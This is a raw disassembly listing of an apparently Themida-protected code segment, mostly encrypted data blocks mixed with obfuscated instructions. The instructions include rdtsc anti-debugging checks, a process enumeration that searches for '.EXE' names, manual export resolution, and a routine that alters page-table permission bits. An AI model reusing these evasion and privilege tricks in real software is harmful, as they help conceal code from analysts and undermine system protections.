dd 59A9346Ah, 0EC920C04h, 38C8D63Fh, 0DC6C32E3h, 0E6835DC0h
dd 842A83FFh, 1E4898F1h, 0A9DBAF98h, 0D657FD55h, 0C5D9381Ch
dd 6F2FE28Fh, 0E907FE4h, 23DD5E83h, 7554D41Ch, 417238h
dd 0BC030000h, 69F4AA67h, 24ED9A40h, 5F9FEF7Ah, 0E683E043h
dd 7AD06FFh, 5DE8B65Ah, 3A1ED819h, 0DA91C7D7h, 0A8336BA7h
dd 0E683167Ch, 1CD647FFh, 748EDD15h, 97B38h, 0D62B0000h
dd 0B5E9273Bh, 0A7EFA64Ch, 40A5306Eh, 0D23FBAD3h, 0CB39B382h
dd 0A3CC5747h, 141D13Ah, 0E73382E5h, 0F41BB0FFh, 8DF61FAAh
dd 99C254E7h, 481AFBDFh, 0FC4CD7C7h, 0E7337DE0h, 0E14AA3FFh
dd 55AA4278h, 3059E4BAh, 60298Ah, 49F65470h, 0ABD507E1h
dd 0ACB9EF76h, 115A001Bh, 4BC82DB8h, 30851D53h, 0B34BFDFh
dd 435BB865h, 0F33E68B8h, 6ADE364Ch, 0B3188C32h, 7D07E164h
dd 167B0698h, 0D519A4FAh, 0AE32DA94h, 44CFB36Dh, 9C77245Ah
dd 1127702h, 0AEF6129Dh, 3FE4BA59h, 163FCAD4h, 5135EF70h
dd 0F74CDCC2h, 9DDB811Dh, 6F7095CDh, 1193340h, 0F3C40000h
dd 0FA3ACA96h, 833B9EBAh, 0E05FFE6h, 7CF64F90h, 0D6AC7E69h
dd 10842AE1h, 7E110BAh, 0DA3D5999h, 807E0F0h, 67C009AFh
dd 29C77DCh, 0AAF41FCCh, 4559BA1Fh, 0B36D9EBAh, 245A44CFh
dd 6EFC1C54h, 3FBA40h, 0F34B0000h, 0C36C69Ah, 971F61DCh
dd 3F5BEB81h, 0FFE77BDCh, 730BB10Ah, 0E77AD457h, 1EA9027Fh
dd 0E58A8FF2h, 813B647Fh, 2CBCA4E9h, 0D9643AD7h, 56720AB0h
dd 0FFE589D3h, 8B72A801h, 93h, 0CA96F324h, 65BAFA3Ah, 3D66F1ADh
dd 0E6836ED1h, 953B94FFh, 0E09AB721h, 809CDC07h, 7E0991Dh
dd 3C62AE43h, 791F88B1h, 0E74CD730h, 8F3C722Ch, 4A8A1A84h
dd 0E099CB2Eh, 0FAA0F907h, 9AD33B67h, 8FD007E0h, 7C22F1D5h
dd 24FBC2ECh, 0C7B5733Eh, 782E321h, 5F89C959h, 9F3A27F7h
dd 0D94DF374h, 0FE111E7h, 0EC4F6BEBh, 1AFFEBCAh, 68CD58C1h
dd 0D668F3ABh, 2E5BF3ADh, 4CAFCB0Bh, 7AFFEBCBh, 0CB52B521h
dd 2780FFEBh, 20122EBEh, 0C607EB6Fh, 0F380376Dh, 0FA3ACA96h
dd 882E70A5h, 0E6272214h, 0CC57B007h, 0BD203C7Ch, 0E307E626h
dd 7BDEFA8Ah, 0A907E626h, 16FDAA50h, 6EA55288h, 0F5801EF4h
dd 88D863CCh, 80D33D5Eh, 0C352DF3Ah, 0BE2750DBh, 0BF88A418h
dd 8EDE5BB2h, 73773064h, 1EC42A70h, 14FFE39Dh, 6CA7548Ah
dd 4662A232h, 541A22E3h, 7977C11h, 5AEA537Ch, 1A23DB3Eh
dd 0AB00954h, 0A1FD1277h, 0A15B8416h, 0B84856BDh, 59B6AC63h
dd 2891BA45h, 7C974482h, 0D43D9222h, 0F29124CAh, 0Dh, 607CBC8Bh
dd 0FFE682FDh, 8B24CA23h, 2F6FA72Ch, 0CAD43FA4h, 6836DA3Fh
dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h
dd 108E84E9h, 0EC835285h, 24248904h, 4BE56h, 74010000h
dd 535E0424h, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h
dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243489h
dd 3637F0BEh, 8BE68124h, 4658BF20h, 8102EEC1h, 0D90C08EEh
dd 0EC68106h, 0BB274CC2h, 2880E1CCh, 685EF329h, 6BB3h
dd 83242489h, 5E042404h, 8904EC83h, 8B82404h, 1000000h
dd 581889F0h, 5E2434FFh, 0FF04C483h, 835B2434h, 5E904C4h
dd 0ADFFFAD6h, 0A85DB8A5h, 0C50307FFh, 5D2DE0FFh, 0EE4E4C2Fh
dd 1C7F6282h, 0E7B11B92h, 0B71B7769h, 39931672h, 3CE91C09h
dd 1, 4Eh dup(0)
dd 83000000h, 0FA0D95BDh, 840F0107h, 531h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AFC35242h, 0F93B1720h
dd 66585C6h, 0F84307FAh, 4E8h, 0A5D0F500h, 0EE9ECh, 583D0000h
dd 1238B3FBh, 5B603283h, 1E30AAB9h, 52506050h, 0FFE8B66h
dd 5A5E5031h, 52505058h, 585A310Fh, 448B615Ah, 66600424h
dd 0B85852BAh, 3F61492Ch, 60008B61h, 0F525060h, 8B585A31h
dd 896161DEh, 60042444h, 0BE8h, 0AEBC0C00h, 38BFD0E3h
dd 82E380FEh, 12E8h, 5A00E800h, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh
dd 58AE9F31h, 0BB9665Fh, 6A586178h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DB17C353h
dd 16EC387h, 18A0F18h, 0FC000000h, 0CE9h, 0A0789000h, 50153688h
dd 4C546EEh, 95B5FFE8h, 0F07FA20h, 589h, 0EC806000h, 858D61E5h
dd 7FDA3DDh, 6E9h, 617D4900h, 0F0848AAh, 38Ch, 61F56000h
dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 26FD7AC3h, 3E40145Fh, 619CB460h, 2ED8589h
dd 0EE907FAh, 14000000h, 0A7AA96BAh, 0C203C98Ch, 0BFB5048h
dd 85C6F9CBh, 7FA0665h, 128C0F50h, 0E9000000h, 0Dh, 64C566DAh
dd 21041C97h, 12B1848Ah, 0BD656802h, 5250AE13h, 0AE860h
dd 0AC20000h, 0D6DC4FA8h, 0CD7D3D5Ch, 310F6159h, 5E95250h
dd 64000000h, 89F2BC10h, 6160310Fh, 585A585Ah, 33243481h
dd 0F06BE10h, 0A86h, 810F6000h, 0
; ---------------------------------------------------------------------------
mov esi, ebx
popa
push dword ptr [ebp+7FA2095h]
jz loc_5DE064
cld
loc_5DE064: ; CODE XREF: Themida_:005DE05Dj
pusha
js $+6
mov cx, 8AEFh
popa
lea eax, [ebp+7FDA3DDh]
pusha
jmp loc_5DE08C
; ---------------------------------------------------------------------------
dd 7B120070h, 314C089Fh, 77A46C99h, 0B9460AE8h
; ---------------------------------------------------------------------------
loc_5DE08C: ; CODE XREF: Themida_:005DE077j
jmp loc_5DE0A2
; ---------------------------------------------------------------------------
db 47h, 65h, 0D6h
; ---------------------------------------------------------------------------
sub edx, [eax]
pop ebp
test byte ptr [esi+52h], 0D1h
and eax, 70779CD7h
sub al, 45h
loc_5DE0A2: ; CODE XREF: Themida_:loc_5DE08Cj
popa
call eax
clc
mov [ebp+7FA0F09h], eax
pusha
call near ptr loc_5DE0B9+1
sbb [edi+ecx-22B32B68h], ebp
loc_5DE0B9: ; CODE XREF: Themida_:005DE0ADp
sub ebx, [edi+61h]
clc
call near ptr loc_5DE0C5+1
das
test al, 8Fh
loc_5DE0C5: ; CODE XREF: Themida_:005DE0BDp
lock pusha
popa
push eax
js loc_5DE0DB
js loc_5DE0DB
jnz $+6
loc_5DE0DB: ; CODE XREF: Themida_:005DE0C9j
; Themida_:005DE0CFj
mov eax, [esp+4]
pusha
mov bx, 0C246h
popa
mov eax, [eax]
pusha
popa
mov [esp+4], eax
push eax
push edx
push eax
push edx
push eax
push edx
rdtsc
pop edx
pop eax
rdtsc
loc_5DE0F9: ; CODE XREF: Themida_:005DE177j
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
rdtsc
push eax
push edx
push eax
push edx
rdtsc
pop edx
pop eax
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
pop edx
pop eax
pop eax
jmp loc_5DE129
; ---------------------------------------------------------------------------
db 0DFh, 0BDh, 0C0h
dd 55625BD3h, 59A3D4CDh
; ---------------------------------------------------------------------------
inc ebp
loc_5DE129: ; CODE XREF: Themida_:005DE118j
push dword ptr [ebp+7FA2095h]
push 0
push edx
call sub_5DE13A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DE13A proc near ; CODE XREF: Themida_:005DE132p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5DE13A endp
; ---------------------------------------------------------------------------
dw 53D1h
; ---------------------------------------------------------------------------
add eax, 9DD38275h
pusha
jz loc_5DE15A
pusha
popa
loc_5DE15A: ; CODE XREF: Themida_:005DE152j
popa
lea eax, [ebp+7FDA3DDh]
pusha
jbe loc_5DE16A
push ecx
pop ebx
loc_5DE16A: ; CODE XREF: Themida_:005DE162j
call near ptr sub_5DE17A
push ecx
cmpsd
cmp eax, 0E92E4306h
push edx
jb short loc_5DE0F9
xlat
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5DE17A proc far ; CODE XREF: Themida_:loc_5DE16Ap
jmp near ptr sub_5DE18B
sub_5DE17A endp
; ---------------------------------------------------------------------------
db 76h
dd 0D1CA97D2h, 49CECE0Dh
db 3Ch, 0Ah, 2
; =============== S U B R O U T I N E =======================================
sub_5DE18B proc far ; CODE XREF: sub_5DE17Aj
pop ebx
popa
jmp loc_5DE19E
; ---------------------------------------------------------------------------
or al, 6Fh
and eax, 7111E325h
or al, 0A1h
or al, 0F1h
xchg eax, ebx
loc_5DE19E: ; CODE XREF: sub_5DE18B+2j
call eax
pusha
jp loc_5DE1AD
add ecx, 560A15F4h
loc_5DE1AD: ; CODE XREF: sub_5DE18B+16j
push ecx
sub di, 909Bh
pop eax
popa
mov [ebp+7FA0A75h], eax
pusha
jno loc_5DE1C4
mov ah, 1Bh
loc_5DE1C4: ; CODE XREF: sub_5DE18B+31j
popa
mov byte ptr [ebp+7FA0665h], 50h
jmp loc_5DE1E3
; ---------------------------------------------------------------------------
db 50h, 0D6h, 0A8h
dd 5964578Bh, 0DD38F480h, 1DE6FBFh
db 0E8h, 0E4h, 7Ah
; ---------------------------------------------------------------------------
loc_5DE1E3: ; CODE XREF: sub_5DE18B+41j
pusha
jle loc_5DE1EC
pusha
popa
loc_5DE1EC: ; CODE XREF: sub_5DE18B+59j
call loc_5DE1FC
cmc
push es
retf
sub_5DE18B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 4E6BCDA2h, 0B9C29A6Dh
; ---------------------------------------------------------------------------
loc_5DE1FC: ; CODE XREF: sub_5DE18B:loc_5DE1ECp
pop edx
popa
push 0F2F12B18h
jmp loc_5DE21C
; ---------------------------------------------------------------------------
dd 14721E65h, 0E1FEFB75h, 0AA7107B7h, 0D2C775B8h, 0C7A6979Eh
; ---------------------------------------------------------------------------
loc_5DE21C: ; CODE XREF: Themida_:005DE203j
xor dword ptr [esp], 656DF74Eh
jmp loc_5DE234
; ---------------------------------------------------------------------------
dd 0D758598Ch, 4DE38159h, 0F030DC51h
; ---------------------------------------------------------------------------
loc_5DE234: ; CODE XREF: Themida_:005DE223j
push dword ptr [ebp+7FA08A5h]
cmc
pusha
mov ecx, 24362695h
jmp loc_5DE259
; ---------------------------------------------------------------------------
dw 3FD7h
dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh
db 0EAh
; ---------------------------------------------------------------------------
loc_5DE259: ; CODE XREF: Themida_:005DE241j
popa
lea eax, [ebp+7FA3AE2h]
jmp loc_5DE273
; ---------------------------------------------------------------------------
not byte ptr [edx+29h]
inc esp
ja short loc_5DE273
aam 0BCh
push esi
lodsd
retf
; ---------------------------------------------------------------------------
db 83h, 0B5h, 79h
; ---------------------------------------------------------------------------
loc_5DE273: ; CODE XREF: Themida_:005DE260j
; Themida_:005DE269j
call eax
jmp loc_5DE281
; ---------------------------------------------------------------------------
cmp [ebx+2BA43070h], ch
sahf
loc_5DE281: ; CODE XREF: Themida_:005DE275j
mov [ebp+7FA25C5h], eax
pusha
sub al, 4Bh
popa
jmp loc_5DE3D1
; ---------------------------------------------------------------------------
cld
jno loc_5DE2A4
pusha
mov ax, 4D28h
jg $+6
popa
loc_5DE2A4: ; CODE XREF: Themida_:005DE292j
push eax
push eax
push edx
jmp loc_5DE2B3
; ---------------------------------------------------------------------------
xor bl, [ecx]
cmp eax, 0CCC16018h
loc_5DE2B3: ; CODE XREF: Themida_:005DE2A7j
rdtsc
push eax
push edx
jmp loc_5DE2C2
; ---------------------------------------------------------------------------
dd 0EF7BC23Ch
; ---------------------------------------------------------------------------
or ecx, [edi]
loc_5DE2C2: ; CODE XREF: Themida_:005DE2B7j
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
pop edx
pop eax
mov [esp], ebp
clc
mov ebp, esp
pusha
popa
add esp, 0FFFFFFFCh
stc
jb loc_5DE2F5
jmp loc_5DE2F5
; ---------------------------------------------------------------------------
db 25h, 0A9h, 26h
dd 0D40C8E43h, 0DE54D4A0h, 5DFA7D98h
db 0A8h
; ---------------------------------------------------------------------------
loc_5DE2F5: ; CODE XREF: Themida_:005DE2DAj
; Themida_:005DE2E0j
pusha
cmc
call $+5
pop edx
sub edx, 7FFAEBBh
mov dword ptr [ebp-4], 0
cmp dword ptr [edx+7FA0D95h], 1
jz loc_5DE3AF
push edx
push 0
push 0Fh
call dword ptr [edx+7FA02EDh]
pop edx
mov [edx+7FFA916h], eax
lea ebx, [edx+7FFA91Ah]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+7FA0F09h]
pop edx
loc_5DE33F: ; CODE XREF: Themida_:005DE369j
; Themida_:005DE39Dj
push edx
lea ebx, [edx+7FFA91Ah]
push ebx
push dword ptr [edx+7FFA916h]
call dword ptr [edx+7FA25C5h]
pop edx
or eax, eax
jz short loc_5DE3A8
lea ebx, [edx+7FFA91Ah]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5DE363: ; CODE XREF: Themida_:005DE373j
cmp ecx, 104h
jz short loc_5DE33F
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5DE363
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+7FA11DDh]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+7FA11DDh]
push eax
call dword ptr [edx+7FA0A75h]
pop edx
or eax, eax
jnz short loc_5DE33F
mov dword ptr [ebp-4], 1
jmp short loc_5DE3AF
; ---------------------------------------------------------------------------
loc_5DE3A8: ; CODE XREF: Themida_:005DE356j
mov dword ptr [ebp-4], 0
loc_5DE3AF: ; CODE XREF: Themida_:005DE311j
; Themida_:005DE3A6j
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
jmp loc_5DE3CA
; ---------------------------------------------------------------------------
dd 0CA84F5BCh, 1DAFEC00h, 99179E52h
db 5Ah, 0BEh
; ---------------------------------------------------------------------------
loc_5DE3CA: ; CODE XREF: Themida_:005DE3B7j
cmc
pusha
movsx esi, si
cmc
popa
loc_5DE3D1: ; CODE XREF: Themida_:005DE28Cj
mov edx, edx
pop eax
adc bh, cl
pop ds
sub al, 0BEh
; ---------------------------------------------------------------------------
db 0DDh, 2Bh, 9Dh
dd 0B3F29F62h, 0B068B70h, 5C7AF734h, 85FC2671h, 59816584h
dd 64331B84h, 0AAD18BF0h, 6F1D8F04h, 8C00CB89h, 0BE3C2733h
dd 9D33265Ah, 2660265Eh, 67332637h, 0E8F07D14h, 0DD177ABDh
dd 0E81762B5h, 7633262Dh, 0D0F07577h, 57039018h, 0CBB52950h
dd 1332634h, 6A7C9B5h, 0D930C5DDh, 0BF334C34h, 763325DCh
dd 0F8680634h, 0B96FAF6Fh, 0EA77A730h, 67333F30h, 70606534h
dd 1140B47Fh, 0FDDB003Eh, 66332634h, 7FCF3780h, 1D2FD5ACh
dd 0B4D41F65h, 0BD1F29B4h, 0ED2AD7B4h, 64B0DFBFh, 0EBC93ECDh
dd 60B72934h, 0C3332634h, 9D30B5DDh, 0CE38CF34h, 0C7262634h
dd 94BD6A3Bh, 4DC8BDD7h, 5EB6AB1Ah, 9E34D99Bh, 3B33263Bh
dd 0E6DF4A35h, 0D077ACD5h, 797EF8B7h, 4B0B061Eh, 478CB66Eh
dd 0BC2B2E2Ah, 9B97048Eh, 0BB3CB66Dh, 9D332623h, 0CE3336DCh
dd 75CA7E34h, 0CFA7B7AEh, 0D4A5B1BAh, 550ED79h, 0FB69D389h
dd 0C49CB2B1h, 0CE334C33h, 0CE3325DCh, 0A4680634h, 976FAF6Fh
dd 0FD77A730h, 0EC333F30h, 0B5606534h, 0E34EF05Bh, 74A3E6DEh
dd 0CE332620h, 3CADC80Ch, 0C3E44F7Bh, 0BE606DF8h, 0F4F94A03h
dd 0E03F56A3h, 0BB65B664h, 0CA6ADDF5h, 0CBA6D96Bh, 734DC1Dh
dd 0B33328DDh, 76E31534h, 3CC0AAC5h, 9CCEF0DBh, 5BAC0D07h
dd 0CB49E5B5h, 4B3C1F89h, 67332634h, 73B84755h, 3162265Eh
dd 0EC332637h, 2FF07F14h, 3F176ABDh, 991762B5h, 0CE332620h
dd 2EF07775h, 0B33320DCh, 59B75D34h, 56415C1Dh, 79AD5E72h
dd 0F68EA56Dh, 9D34DC1Eh, 73B02F41h, 60C93EADh, 0E32A5234h
dd 61F3AD67h, 0EC33224Eh, 56FAA3BDh, 0A6BE21CEh, 9ACFC410h
dd 9668F5CBh, 7FAA9BB7h, 0C73321CEh, 61607623h, 0EC33224Eh
dd 56FAA3BDh, 0A6BE21CEh, 9ACFF927h, 9668F5CBh, 8F61265Eh
dd 0B3332637h, 83F07C14h, 0E81772BDh, 721762B5h, 3B33262Dh
dd 3FF07476h, 5C80335Fh, 673BCE1Fh, 59592634h, 9FA142CEh
dd 938DA3C5h, 2C35F580h, 51F3ADCDh, 9EDB7434h, 0EE332634h
dd 0EE69E56Eh, 32370260h, 0CC370270h, 0AE332634h, 7507E566h
dd 0A7AEABC1h, 7434D99Bh, 0CE332624h, 58164F79h, 7E45FE9Dh
dd 0C3884EC3h, 5C9132A5h, 0E932A3B9h, 3B5921CBh, 9D30CE65h
dd 97132634h, 2BBA7FF7h, 0F7B22210h, 0D9272210h, 0BD722634h
dd 0F93CDFF7h, 3B332636h, 4DCCF0BFh, 33539866h, 6C6C6850h
dd 34B729F4h, 0B3332634h, 0EFDB7034h, 56332634h, 0B26DE56Ah
dd 1C370240h, 0D9370270h, 21332634h, 2E6EE562h, 0C8DB7FEDh
dd 65332634h, 5A4F74CFh, 9E7ADF05h, 0EE9491B5h, 0E33589FBh
dd 0FABE7CC1h, 0B4C96952h, 20C4AD52h, 0EC33258Ch, 23334C34h
dd 3B3325DCh, 5E6E0634h, 0EA5FAF69h, 4377A730h, 0B3333B30h
dd 1A666334h, 9E63AF57h, 0E349EC32h, 0F5B86889h, 8EDAC5CBh
dd 40332634h, 736A06A5h, 23AA2B9Eh, 1194107Eh, 0D32F061Ah
dd 0EBBE6272h, 3CCC8990h, 7566265Eh, 0CE332637h, 3AF07B14h
dd 0B7174ABDh, 0DD1762B5h, 0EC332621h, 31F07371h, 0C5842936h
dd 232A3B9h, 31CA21CBh, 68F32DE4h, 0B3333BB0h, 8D8A4034h
dd 8AAEABBFh, 7934DC7Bh, 3B3326B5h, 9D329E34h, 0A8532634h
dd 6A82C8Ch, 2EBEC5CBh, 0DECC899Dh, 464265Eh, 76332637h
dd 64F07914h, 99175ABDh, 0CA1762B5h, 6733262Fh, 3DF07173h
dd 0BA66A634h, 8AAAF2A7h, 0FBD3308Bh, 0C4AC27B1h, 9D3BCE33h
dd 0DF0A2634h, 20E242BBh, 0A3DA0D74h, 8E332634h, 0A67C4040h
dd 8C3F321Fh, 0B13DB102h, 0C2C06EEFh, 4A3CF6CBh, 67332631h
dd 506F1E8Eh, 0D6F32D55h, 0EC3379B0h, 763BCF34h, 3AC62634h
dd 75E8CC61h, 53BE933Ah, 60C96952h, 5B61265Eh, 0D9332637h
dd 0B6F07C14h, 721772BDh, 3F1762B5h, 9D33262Ch, 8F07476h
dd 7DB298D4h, 0BF9AD52h, 0D9332637h, 463265Eh, 76332637h
dd 63F07E14h, 991762BDh, 0CA1762B5h, 6733262Dh, 8FF07674h
dd 91A6314Eh, 19D0D9C9h, 16FAA677h, 94A19BB9h, 10BE21CBh
dd 0C9CC95CFh, 2C6F5B8Ch, 66B615BEh, 0F234DC1Dh, 0BEDAE7FBh
dd 0CC8990EBh, 66265E3Ch, 33263775h, 0F07B14CEh, 174ABD3Ah
dd 1762B5B7h, 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0B10DC350h
dd 0B0D30739h, 11E9B3h, 0B1710000h, 0AD3967F5h, 1484FF64h
dd 0D0D3A757h, 0FAAFC0Fh, 8Ah, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0B7E0957Fh
dd 3D9EF83Ch, 0FC38BB7h, 283h, 8BCDB600h, 0C68166C0h, 8D0F9ED6h
dd 15h, 0AE8h, 0FE8D1600h, 37B9FE83h, 0BEAD377Eh, 170F626Dh
dd 0CDBD8359h, 7FA2Ah, 0BD830975h, 7FA1899h, 50197400h
dd 0B8C08B53h, 47Ah, 15818589h, 9D8D07FAh, 7FCE28Bh, 585BD3FFh
dd 1899BD83h, 740007FAh, 0B8535017h, 47Ah, 15818589h, 9D8D07FAh
dd 7FCDF2Ch, 585BD3FFh, 0CE8h, 2E79BF00h, 2062FC87h, 0D8DF1CC0h
dd 0BE95Ch, 35EC0000h, 534A5FAh, 0DDE8E080h, 0E9525F6Fh
dd 0Ah, 7542B4EBh, 4BBB9759h, 8B5AC2F0h, 0AE8C0h, 0D71B0000h
dd 53499F02h, 62C745FDh, 3FD21ABBh, 0D7805954h, 69C18120h
dd 0F500005Eh, 68h, 0AE6FB800h, 0E95E5C66h, 13h, 88FB2F51h
dd 1C73A60Bh, 0FB1D0E00h, 0FD111786h, 8B3F4A8Bh, 8B663114h
dd 0FF281F8h, 0E815786Ah, 9, 40243845h, 0A518682Eh, 815BF9AAh
dd 7BC6C0F2h, 68B46054h, 0CE8h, 0E4A28000h, 806CF5B4h
dd 0DA833A01h, 8161581Fh, 0EC8CF5C2h, 7EBB525Ah, 8F18AB24h
dd 0C18A3104h, 0EE835B52h, 4EF88B01h, 0C0BB4E4Eh, 81750368h
dd 0FFA240FEh, 9C850FFFh, 0FFFFFFFh, 68Ch, 0DCD08100h
dd 0E9229FBDh, 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h
dd 0FA08A5B5h, 0DD858D07h, 0FF07FDA3h, 0D18589D0h, 8B07FA1Eh
dd 0CEFC1FEh, 6000068h, 6A006A20h, 0D685702h, 0FF000100h
dd 0FA1ED195h, 32E907h, 85C60000h, 7FA0665h, 30DF6856h
dd 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh, 265D8589h
dd 858D07FAh, 7FA2A55h, 6A406A50h, 95FF5605h, 7FA265Dh
dd 0C361h, 2 dup(0)
dd 8B520000h, 428B60D4h, 5D858908h, 8B07FFB6h, 85890C42h
dd 7FFB655h, 8910428Bh, 0FFB65985h, 93B58D07h, 8D07FFB6h
dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B65DB58Bh, 858B07FFh
dd 7FFB655h, 0B659BD83h, 0F0007FFh, 784h, 0E9068900h, 2
dd 0CF0688h, 0
dd 52000000h, 8B60D48Bh, 85890842h, 7FFB65Dh, 0B6E4B58Dh
dd 858D07FFh, 5B8EA1h, 5A61D0FFh, 0B65D858Bh, 4C207FFh
dd 5D858B00h, 8B07FFB6h, 5D858900h, 0CF07FFB6h, 0
; ---------------------------------------------------------------------------
pusha
mov [ebp+7FFB6BAh], esi
mov [ebp+7FFB6B6h], eax
lea eax, [ebp+7FA2889h]
mov eax, [eax+44h]
mov [ebp+7FFB6F3h], eax
lea esi, [ebp+7FFB729h]
lea eax, [ebp+5B8EA1h]
call eax
popa
mov eax, [ebp+7FFB6BAh]
retn
; ---------------------------------------------------------------------------
mov ebx, [ebp+7FFB6B6h]
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
mov ebx, [ebx+78h]
add ebx, [ebp+7FFB6B6h]
mov esi, [ebx+24h]
add esi, [ebp+7FFB6B6h]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [ebp+7FFB6B6h]
add esi, [ebp+7FFB6B6h]
cld
or ecx, 0FFFFFFFFh
loc_5DEB9F: ; CODE XREF: Themida_:005DEBBDj
; Themida_:005DEBCCj
inc ecx
mov ebx, [ebp+7FFB6BAh]
mov edx, [edi]
add edx, [ebp+7FFB6B6h]
add edi, 4
loc_5DEBB1: ; CODE XREF: Themida_:005DEBC5j
mov al, [edx]
test al, al
jz loc_5DEBCA
cmp al, [ebx]
jnz loc_5DEB9F
inc ebx
inc edx
jmp loc_5DEBB1
; ---------------------------------------------------------------------------
loc_5DEBCA: ; CODE XREF: Themida_:005DEBB5j
cmp al, [ebx]
jnz loc_5DEB9F
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [ebp+7FFB6B6h]
mov [ebp+7FFB6BAh], eax
mov esi, eax
mov ecx, esi
mov eax, ecx
cmp dword ptr [ebp+7FFB6F3h], 0C0300000h
jnz loc_5DEC0B
shr eax, 14h
and eax, 0FFCh
jmp loc_5DEC13
; ---------------------------------------------------------------------------
loc_5DEC0B: ; CODE XREF: Themida_:005DEBF8j
shr eax, 12h
and eax, 3FF8h
loc_5DEC13: ; CODE XREF: Themida_:005DEC06j
mov edi, [ebp+7FFB6F3h]
or dword ptr [edi+eax], 6
mov edx, [edi+eax]
mov eax, edx
and al, 81h
cmp al, 81h
mov eax, ecx
jz locret_5DEC85
cmp dword ptr [ebp+7FFB6F3h], 0C0300000h
jnz loc_5DEC4B
shr eax, 0Ah
and eax, 3FFFFCh
jmp loc_5DEC53
; ---------------------------------------------------------------------------
loc_5DEC4B: ; CODE XREF: Themida_:005DEC38j
shr eax, 9
and eax, 7FFFF8h
loc_5DEC53: ; CODE XREF: Themida_:005DEC46j
sub eax, 40000000h
or dword ptr [eax], 6
test dword ptr [eax], 80h
jz locret_5DEC85
cmp dword ptr [ebp+7FFB6F3h], 0C0300000h
jz locret_5DEC85
and eax, 3FF8h
mov eax, [eax-3FA00000h]
or dword ptr [eax], 6
locret_5DEC85: ; CODE XREF: Themida_:005DEC28j
; Themida_:005DEC61j ...
iret
; ---------------------------------------------------------------------------
lea eax, [ebp+7FFB661h]
mov [ebp+7FA0E05h], eax
lea eax, [ebp+7FFB6F7h]
mov [ebp+7FA0EADh], eax
lea eax, [ebp+7FFB6BEh]
mov [ebp+7FA2E79h], eax
lea ecx, [ebp+7FFB928h]
movsx eax, dx
jmp loc_5DECC3
; ---------------------------------------------------------------------------
dd 3B2362Fh, 1F9A08DDh
db 0, 2Bh, 8Ah
; ---------------------------------------------------------------------------
loc_5DECC3: ; CODE XREF: Themida_:005DECB3j
mov [ebp+7FA1CD9h], ecx
or [ebp+7FA0145h], esi
mov dword ptr [ebp+7FA31ADh], 7174h
push 0
push edx
call sub_5DECE4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DECE4 proc near ; CODE XREF: Themida_:005DECDCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5DECE4 endp
; ---------------------------------------------------------------------------
dd 0D5B86078h, 1047B82h, 0FA344DB5h, 85C76107h, 7FA2BD9h
dd 0
dd 79EBE66h, 108D0Fh, 7E80000h, 0F0000000h, 5BEFC63h, 0EF800232h
dd 0B5FF5A16h, 7FA2EA9h, 3165BD89h, 95FF07FAh, 7FA1799h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ECC35545h
dd 0FC8A098Fh, 830F3717h, 2, 6AF08Bh, 101995FFh, 0C08B07FAh
dd 0E9546EEBh, 46320148h, 483FFE11h, 33F63807h, 0E3F77EF7h
dd 9D34BDABh, 9FE7046Ah, 6E384FC4h, 5F722BE8h, 5B6ABA80h
dd 9907CFBBh, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 30526748h
dd 0E86448D6h, 0D3F28EB1h, 7266414Dh, 8C57034Ch, 536DB199h
dd 28890B01h, 9EEFDF2h, 10C0843Bh, 0C40807D8h, 100FB4D6h
dd 0A6C8AFF1h, 34418B22h, 53B26601h, 1C8E9h, 8 dup(41888800h)
dd 4 dup(0)
dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h
dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h
dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
dd 0
dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h
dd 88888808h, 88h, 0
dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h
dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0
